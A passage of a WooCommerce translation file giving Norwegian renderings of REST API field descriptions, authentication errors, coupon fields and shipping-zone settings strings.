#: includes/rest-api/Controllers/Version2/class-wc-rest-order-notes-v2-controller.php:129
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:99
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:382
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:95
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1155
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:54
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-categories-v2-controller.php:103
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:153
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:714
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:93
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1707
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:90
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:54
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:285
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:62
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:70
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:98
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:52
#: includes/rest-api/Controllers/Version3/class-wc-rest-layout-templates-controller.php:61
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:122
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-categories-controller.php:103
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:84
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:852
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:529
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:110
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1169
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:80
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:113
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1175
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:600
#: src/Admin/API/Reports/Stock/Controller.php:366
#: src/RestApi/Routes/V4/OrderNotes/Controller.php:120
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:40
#: src/RestApi/Routes/V4/Orders/Controller.php:136
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:100
#: src/RestApi/Routes/V4/ShippingZones/Controller.php:87
#: src/StoreApi/Routes/V1/ProductAttributesById.php:51
#: src/StoreApi/Routes/V1/ProductBrandsById.php:53
#: src/StoreApi/Routes/V1/ProductCategoriesById.php:51
#: src/StoreApi/Routes/V1/ProductsById.php:51
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:30
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:51
#: src/StoreApi/Schemas/V1/ProductSchema.php:55
#: src/StoreApi/Schemas/V1/TermSchema.php:30
msgid "Unique identifier for the resource."
msgstr "Unik ID for ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:592
msgid "Invalid resource id for reassignment."
msgstr "Ugyldig ressurs-ID for ny tildeling."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:579
msgid "Customers do not support trashing."
msgstr "Kunder kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:525
msgid "Username isn't editable."
msgstr "Brukernavn er ikke redigerbar."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:521
msgid "Email address is invalid."
msgstr "Ugyldig e-postadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:227
msgid "Invalid resource id."
msgstr "Ugyldig ressurs-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:435
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:402
msgid "Cannot create existing resource."
msgstr "Kan ikke opprette eksisterende ressurs."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:231
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1902
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2379
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:153
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:832
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1885
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:661
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1350
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1356
#: src/Admin/API/Reports/Downloads/Controller.php:177
msgid "File URL."
msgstr "Filens nettadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:225
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1897
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2374
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:147
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:827
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1880
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:656
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1345
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1351
#: src/Admin/API/Reports/Downloads/Controller.php:171
msgid "File name."
msgstr "Filnavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:219
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:141
msgid "File details."
msgstr "Fildetaljer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:213
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:129
msgid "The date when download access expires, in the site's timezone."
msgstr "Utløpsdato for nedlastingstilgangen, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:207
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:123
msgid "Number of downloads remaining."
msgstr "Antall gjenstående nedlastinger."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:201
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:999
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:117
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1172
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:117
msgid "Order key."
msgstr "Ordrenøkkel."
#: includes/cli/class-wc-cli-runner.php:112
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:195
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:111
#: src/Admin/API/Reports/Downloads/Controller.php:183
#: src/Admin/API/Reports/Orders/Controller.php:137
msgid "Order ID."
msgstr "Ordre-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:189
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:105
msgid "Downloadable file name."
msgstr "Navn på nedlastbar fil."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:183
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:93
msgid "Downloadable product ID."
msgstr "Nedlastbar produkt-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:177
msgid "Download ID (MD5)."
msgstr "Nedlastings-id (MD5)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:171
#: includes/rest-api/Controllers/Version2/class-wc-rest-customer-downloads-v2-controller.php:87
msgid "Download file URL."
msgstr "Nettadresse til nedlasting."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:575
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:559
msgid "Limit result set to resources with a specific code."
msgstr "Avgrens resultetet til ressurser med en bestemt kode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:544
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:503
msgid "List of email addresses that can use this coupon."
msgstr "Liste over e-postadresser som kan bruke denne rabattkoden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:539
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:498
msgid "Maximum order amount allowed when using the coupon."
msgstr "Maksimum tillat ordrebeløp ved bruk av rabattkoden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:534
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:493
msgid "Minimum order amount that needs to be in the cart before coupon applies."
msgstr "Minimum ordrebeløp som behøves i handlekurven før rabattkoden blir gjeldende."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:520
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:479
msgid "List of category IDs the coupon does not apply to."
msgstr "Liste over kategori-ider som rabattkoden ikke gjelder for."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:512
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:471
msgid "List of category IDs the coupon applies to."
msgstr "Liste over kategori-ider som rabattkoden gjelder for."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:501
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:460
msgid "Max number of items in the cart the coupon can be applied to."
msgstr "Maksimalt antall produkter i handlekurven som rabattkoden kan brukes på."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:496
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:455
msgid "How many times the coupon can be used per customer."
msgstr "Antall ganger rabattkoden kan brukes per kunde."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:483
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:442
msgid "List of product IDs the coupon cannot be used on."
msgstr "Liste over produkt-ider rabattkoden ikke kan brukes på."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:475
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:434
msgid "List of product IDs the coupon can be used on."
msgstr "Liste over produkt-ider rabattkoden kan brukes på."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:463
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:422
msgid "Number of times the coupon has been used already."
msgstr "Antall ganger rabattkoden allerede har blitt brukt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:458
msgid "UTC DateTime when the coupon expires."
msgstr "UTC DateTime når rabattkoden utløper."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:446
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:400
msgid "Determines the type of discount that will be applied."
msgstr "Bestemmer hvilken type rabatt som skal legges til."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:441
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:407
msgid "Coupon description."
msgstr "Rabattkodebeskrivelse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:435
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:388
msgid "The date the coupon was last modified, in the site's timezone."
msgstr "Dato da rabattkoden sist ble redigert, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:429
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:376
msgid "The date the coupon was created, in the site's timezone."
msgstr "Dato da rabattkoden ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:72
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:424
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:1600
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:70
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:361
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1936
#: src/Admin/API/Reports/Coupons/Controller.php:139
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:47
msgid "Coupon code."
msgstr "Rabattkode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:418
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:355
msgid "Unique identifier for the object."
msgstr "Unik ID for objektet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:256
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:286
msgid "The coupon code cannot be empty."
msgstr "Rabattkoden kan ikke være tomt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:110
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:107
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:118
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:109
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:113
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:121
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:112
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:122
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:87
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:77
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:110
#: src/RestApi/Routes/V4/Orders/Controller.php:171
msgid "Whether to bypass trash and force deletion."
msgstr "Om papirkurven skal omgåes og det skal slettes direkte."
#: includes/class-wc-rest-authentication.php:587
msgid "The API key provided does not have write permissions."
msgstr "API-nøkkelen du oppga har ikke skriverettigheter."
#: includes/class-wc-rest-authentication.php:579
msgid "The API key provided does not have read permissions."
msgstr "API-nøkkelen du oppga har ikke leserettigheter."
#: includes/class-wc-rest-authentication.php:517
msgid "Invalid nonce - nonce has already been used."
msgstr "Ugyldig nonce - nonce har allerede blitt brukt."
#: includes/class-wc-rest-authentication.php:507
msgid "Invalid timestamp."
msgstr "Ugyldig tidsstempel."
#: includes/class-wc-rest-authentication.php:431
msgid "Invalid signature - provided signature does not match."
msgstr "Ugyldig signatur - oppgitt signatur samsvarer ikke."
#: includes/class-wc-rest-authentication.php:423
msgid "Invalid signature - signature method is invalid."
msgstr "Ugyldig signatur - signaturmetoden er ugyldig."
#: includes/class-wc-rest-authentication.php:414
msgid "Invalid signature - failed to sort parameters."
msgstr "Ugyldig signatur - klarte ikke å ordne parametre."
#: includes/class-wc-rest-authentication.php:370
msgid "Consumer key is invalid."
msgstr "Ugyldig kundenøkkel."
#: includes/admin/views/html-notice-updating.php:20
msgid "WooCommerce database update"
msgstr "WooCommerce database oppdatering"
#: includes/admin/views/html-notice-no-shipping-methods.php:26
msgid "Customers will not be able to purchase physical goods from your store until a shipping method is available."
msgstr "Kunder vil ikke kunne kjøpe fysiske varer fra butikken deres før en fraktmåte er tilgjengelig."
#: includes/admin/views/html-notice-no-shipping-methods.php:23
msgid "Shipping is currently enabled, but you have not added any shipping methods to your shipping zones."
msgstr "Frakt er aktivert, men det er ikke lagt til noen fraktmåter for deres fraktsoner."
#: includes/admin/views/html-notice-no-shipping-methods.php:19
msgid "Add shipping methods & zones"
msgstr "Legg til fraktmåter og -soner"
#: includes/admin/views/html-notice-legacy-shipping.php:31
#: includes/admin/views/html-notice-no-shipping-methods.php:34
msgid "Learn more about shipping zones"
msgstr "Lær mer om fraktsoner"
#: includes/admin/views/html-notice-legacy-shipping.php:27
#: includes/admin/views/html-notice-no-shipping-methods.php:31
msgid "Setup shipping zones"
msgstr "Sett opp fraktsoner"
#: includes/admin/views/html-notice-legacy-shipping.php:21
msgid "Legacy shipping methods (flat rate, international flat rate, local pickup and delivery, and free shipping) are deprecated but will continue to work as normal for now. <b><em>They will be removed in future versions of WooCommerce</em></b>. We recommend disabling these and setting up new rates within shipping zones as soon as possible."
msgstr "Eldre fraktmåter (fastpris, internasjonal fastpris, lokal henting og gratis frakt) er foreldet, men vil fortsette å fungere som normalt inntil videre. <b><em>De vil bli fjernet i fremtidige versjoner av WooCommerce</em></b>. Vi anbefaler at du deaktiverer disse og setter opp nye priser innenfor fraktsoner så snart som mulig."
#: includes/admin/views/html-notice-legacy-shipping.php:18
msgid "a group of regions that can be assigned different shipping methods and rates."
msgstr "en gruppe regioner som kan tildeles forskjellige forsendelses metoder og priser."
#: includes/admin/views/html-notice-legacy-shipping.php:18
msgid "New:"
msgstr "Ny:"
#: includes/admin/helper/views/html-notice-woo-updater-not-activated.php:11
#: includes/admin/helper/views/html-notice-woo-updater-not-installed.php:11
#: includes/admin/views/html-notice-base-table-missing.php:13
#: includes/admin/views/html-notice-custom.php:12
#: includes/admin/views/html-notice-download-dir-sync-complete.php:10
#: includes/admin/views/html-notice-legacy-shipping.php:14
#: includes/admin/views/html-notice-maxmind-license-key.php:13
#: includes/admin/views/html-notice-no-shipping-methods.php:14
#: includes/admin/views/html-notice-redirect-only-download.php:12
#: includes/admin/views/html-notice-secure-connection.php:12
#: includes/admin/views/html-notice-template-check.php:15
#: includes/admin/views/html-notice-updated.php:14
#: includes/admin/views/html-notice-uploads-directory-is-unprotected.php:15
#: includes/admin/views/html-notice-wp-php-minimum-requirements.php:11
#: includes/wc-template-functions.php:1105
#: src/Internal/Admin/Notes/UnsecuredReportFiles.php:57
#: src/Internal/Admin/WCPayPromotion/WCPaymentGatewayPreInstallWCPayPromotion.php:83
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/embed/index.js:2
#: assets/client/admin/experimental/index.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/marketing-coupons.js:2
#: assets/client/admin/wp-admin-scripts/payment-method-promotions.js:2
msgid "Dismiss"
msgstr "Fjern"
#: includes/admin/views/html-admin-page-status-report.php:1042
msgid "Your theme has a woocommerce.php file, you will not be able to override the woocommerce/archive-product.php custom template since woocommerce.php has priority over archive-product.php. This is intended to prevent display issues."
msgstr "Temaet ditt har en woocommerce.php-fil. Du vil ikke kunne overstyre woocommerce/archive-product.php egendefinerte mal siden woocommerce.php prioriteres over archive-product.php. Dette er ment til å forhindre visningsfeil."
#: includes/admin/views/html-admin-page-status-report.php:1040
msgid "Archive template"
msgstr "Arkiv mal"
#: includes/admin/views/html-admin-page-status-report.php:875
msgid "Page ID is set, but the page does not exist"
msgstr "Side-ID er satt, men siden finnes ikke"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:362
msgid "MaxMind GeoIP database."
msgstr "MaxMind GeoIP Database."
#. Translators: %s: classname and link.
#: includes/admin/views/html-admin-page-status-report.php:382
msgid "Your server does not support the %s function - this is required to use the GeoIP database from MaxMind."
msgstr "Serveren din støtter ikke %s-funksjonen. Denne er påkrevd for å bruke GeoIP-databasen fra MaxMind."
#. Translators: %1$s: MySQL version, %2$s: Recommended MySQL version.
#: includes/admin/views/html-admin-page-status-report.php:305
msgid "WordPress requirements"
msgstr "WordPress krav"
#: includes/admin/views/html-admin-page-status-report.php:284
msgid "The version of cURL installed on your server."
msgstr "Versjonen av cURL som er installert på deres server."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:252
msgid "cURL version."
msgstr "cURL-versjon."
#: includes/admin/views/html-admin-page-status-report.php:215
msgid "Displays whether or not WP Cron Jobs are enabled."
msgstr "Viser hvorvidt WP Cron-jobber er aktivert."
#: includes/admin/settings/views/html-webhooks-edit.php:124
msgid "The secret key is used to generate a hash of the delivered webhook and provided in the request headers."
msgstr "Den hemmelige nøkkelen brukes til å generere en hash av den leverte webhook'en, og oppgis i request header'ne."
#: includes/admin/settings/views/html-settings-tax.php:34
msgid "Postcode for this rule. Semi-colon (;) separate multiple values. Leave blank to apply to all areas. Wildcards (*) and ranges for numeric postcodes (e.g. 12345...12350) can also be used."
msgstr "Postnummer for denne regelen. Separer flere verdier med semikolon (;). La feltet stå tomt for å gjelde alle områder. Wildcard (*) og nummerserier (f.eks. 12345...12350) kan også benyttes."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:58
msgid "List 1 postcode per line"
msgstr "Legg inn 1 postnummer pr. linje"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:55
msgid "Limit to specific ZIP/postcodes"
msgstr "Avgrens til gitte postnumre"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:93
msgid "Add as many zones as you need – customers will only see the methods available for their address."
msgstr "Legg til så mange soner som behøves, kunder vil bare se leveringsmåter som er tilgjengelig for deres adresse."
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:91
msgid "Europe zone = Any country in Europe = Flat rate shipping"
msgstr "Europa = Hvilket som helst europeisk land = Frakt til fastpris"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:90
msgid "US domestic zone = All US states = Flat rate shipping"
msgstr "Norge innenlands = Alle postnumre = Frakt til fastpris"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:88
msgid "For example:"
msgstr "For eksempel:"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:55
#: assets/client/admin/chunks/5875.js:1
msgid "Rest of the world"
msgstr "Resten av verden"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:94
msgid "Add shipping zone"
msgstr "Legg til fraktsone"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:45
msgid "Region(s)"
msgstr "Område(r)"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:31
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:38
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:44
msgid "Zone name"
msgstr "Sonenavn"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:43
msgid "Drag and drop to re-order your custom zones. This is the order in which they will be matched against the customer address."
msgstr "Dra og slipp for å sortere dine egendefinerte soner. Dette er rekkefølgen de vil bli matchet mot kundens adresse."
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:87
msgid "A shipping zone is a geographic region where a certain set of shipping methods and rates apply."
msgstr "En fraktsone er et geografisk område der et bestemt sett med fraktmåter og -priser gjelder."
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:51
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:148
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:183
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:127
#: src/Internal/Admin/Orders/ListTable.php:1694
msgid "Close modal panel"
msgstr "Lukk modal panel"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:110
msgid "You can add multiple shipping methods within this zone. Only customers within the zone will see them."
msgstr "Du kan legge til flere fraktmåter innenfor denne sonen. Bare kunder innenfor sonen vil se dem."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:92
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:125
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:151
msgid "Add shipping method"
msgstr "Legg til fraktmåte"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:37
msgid "No shipping classes have been created."
msgstr "Ingen fraktklasser har blitt oprettet."
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:16
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:49
msgid "Add shipping class"
msgstr "Legg til fraktklasse"
#: includes/admin/settings/class-wc-settings-shipping.php:457
msgid "Product count"
msgstr "Produkt antall"
#: includes/admin/settings/class-wc-settings-shipping.php:416
msgid "Edit failed. Please try again."
msgstr "Redigering feilet. Vennligst prøv igjen."
#: includes/admin/settings/class-wc-settings-shipping.php:409
msgid "This shipping method does not have any settings to configure."
msgstr "Denne fraktmåten har ingen innstillinger som må konfigureres."
#: includes/admin/settings/class-wc-settings-shipping.php:338
msgid "Shipping method could not be added. Please retry."
msgstr "Fraktmåten kunne ikke legges til. Prøv igjen."
#: includes/admin/settings/class-wc-settings-shipping.php:337
#: includes/admin/settings/class-wc-settings-shipping.php:383
#: includes/admin/settings/class-wc-settings-shipping.php:444
msgid "Your changes were not saved. Please retry."
msgstr "Endringene dine ble ikke lagret. Vennligst prøv igjen."
#: includes/admin/settings/class-wc-settings-shipping.php:336
msgid "Do you wish to save your changes first? Your changed data will be discarded if you choose to cancel."
msgstr "Ønsker du å lagre endringene dine først? Endringene dine vil bli forkastet hvis du velger å avbryte."
#: includes/admin/settings/class-wc-settings-shipping.php:310
#: includes/admin/settings/class-wc-settings-shipping.php:406
msgid "Zone does not exist!"
msgstr "Sonen finnes ikke!"
#: includes/admin/settings/class-wc-settings-shipping.php:148
msgid "Force shipping to the customer billing address"
msgstr "Tving levering til kundens fakturaadresse"
#: includes/admin/settings/class-wc-settings-shipping.php:147
msgid "Default to customer billing address"
msgstr "Velg kundens fakturaadresse som standard"
#: includes/admin/settings/class-wc-settings-shipping.php:146
msgid "Default to customer shipping address"
msgstr "Velg kundens leveringsadresse som standard"
#: includes/admin/settings/class-wc-settings-shipping.php:113
msgid "Calculations"
msgstr "Beregninger"
#: includes/customizer/class-wc-shop-customizer.php:472
msgid "Show subcategories & products"
msgstr "Vis underkategorier & produkter"
#: includes/customizer/class-wc-shop-customizer.php:446
msgid "Show categories & products"
msgstr "Vis kategorier & produkter"
#: includes/customizer/class-wc-shop-customizer.php:445
msgid "Show categories"
msgstr "Vis kategorier"
#: includes/admin/settings/class-wc-settings-general.php:240
msgid "No location by default"
msgstr "Ingen plassering som standard"
#: includes/admin/settings/class-wc-settings-general.php:235
msgid "This option determines a customers default location. The MaxMind GeoLite Database will be periodically downloaded to your wp-content directory if using geolocation."
msgstr "Dette valget bestemmer en kundes standardplassering. MaxMind GeoID-databasen blir periodisk lastet ned til din wp-content mappe hvis du bruker geolocation."
#: includes/admin/settings/class-wc-settings-general.php:233
msgid "Default customer location"
msgstr "Kundens standardplassering"
#: includes/admin/settings/class-wc-settings-general.php:224
msgid "Ship to specific countries"
msgstr "Send til utvalgte land"
#: includes/admin/settings/class-wc-settings-general.php:219
msgid "Disable shipping & shipping calculations"
msgstr "Slå av frakt & fraktberegninger"
#: includes/admin/settings/class-wc-settings-general.php:208
msgid "Shipping location(s)"
msgstr "Fraktstede(r)"
#: includes/admin/settings/class-wc-settings-general.php:185
#: includes/admin/settings/class-wc-settings-general.php:199
msgid "Sell to specific countries"
msgstr "Selg til utvalgte land"
#: includes/admin/settings/class-wc-settings-general.php:184
#: includes/admin/settings/class-wc-settings-general.php:190
msgid "Sell to all countries, except for…"
msgstr "Selg til alle land, unntatt…"
#: includes/admin/settings/class-wc-settings-advanced.php:233
msgid "Endpoint for the setting a default payment method page."
msgstr "Sluttpunkt for siden hvor standard betalingsmåte bestemmes."
#: includes/admin/settings/class-wc-settings-advanced.php:232
msgid "Set default payment method"
msgstr "Angi standard betalingsmåte"
#: includes/admin/settings/class-wc-settings-advanced.php:224
msgid "Endpoint for the delete payment method page."
msgstr "Sluttpunkt for siden for sletting av betalingsmåte."
#: includes/admin/settings/class-wc-settings-advanced.php:223
msgid "Delete payment method"
msgstr "Slett betalingsmåte"
#: includes/admin/settings/class-wc-settings-advanced.php:299
msgid "Endpoint for the \"My account → Payment methods\" page."
msgstr "Sluttpunkt for siden \"Min konto → Betalingsmåter\"."
#: includes/admin/settings/class-wc-settings-advanced.php:298
#: includes/class-wc-query.php:150 includes/wc-account-functions.php:111
msgid "Payment methods"
msgstr "Betalingsmåter"
#: includes/admin/settings/class-wc-settings-advanced.php:289
#: includes/class-wc-query.php:147
msgid "Addresses"
msgstr "Adresse"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:846
#: includes/admin/settings/class-wc-settings-advanced.php:271
#: includes/admin/views/html-admin-page-product-export.php:88
#: includes/class-wc-query.php:141 includes/wc-account-functions.php:109
#: src/Admin/API/Reports/Downloads/Stats/Controller.php:106
#: src/Admin/ReportCSVEmail.php:69 src/Blocks/BlockTypesController.php:184
#: src/Internal/Admin/Analytics.php:248
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:37
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/DownloadableProductTrait.php:56
#: templates/emails/email-downloads.php:24
#: templates/emails/plain/email-downloads.php:20
#: templates/order/order-downloads.php:24 assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
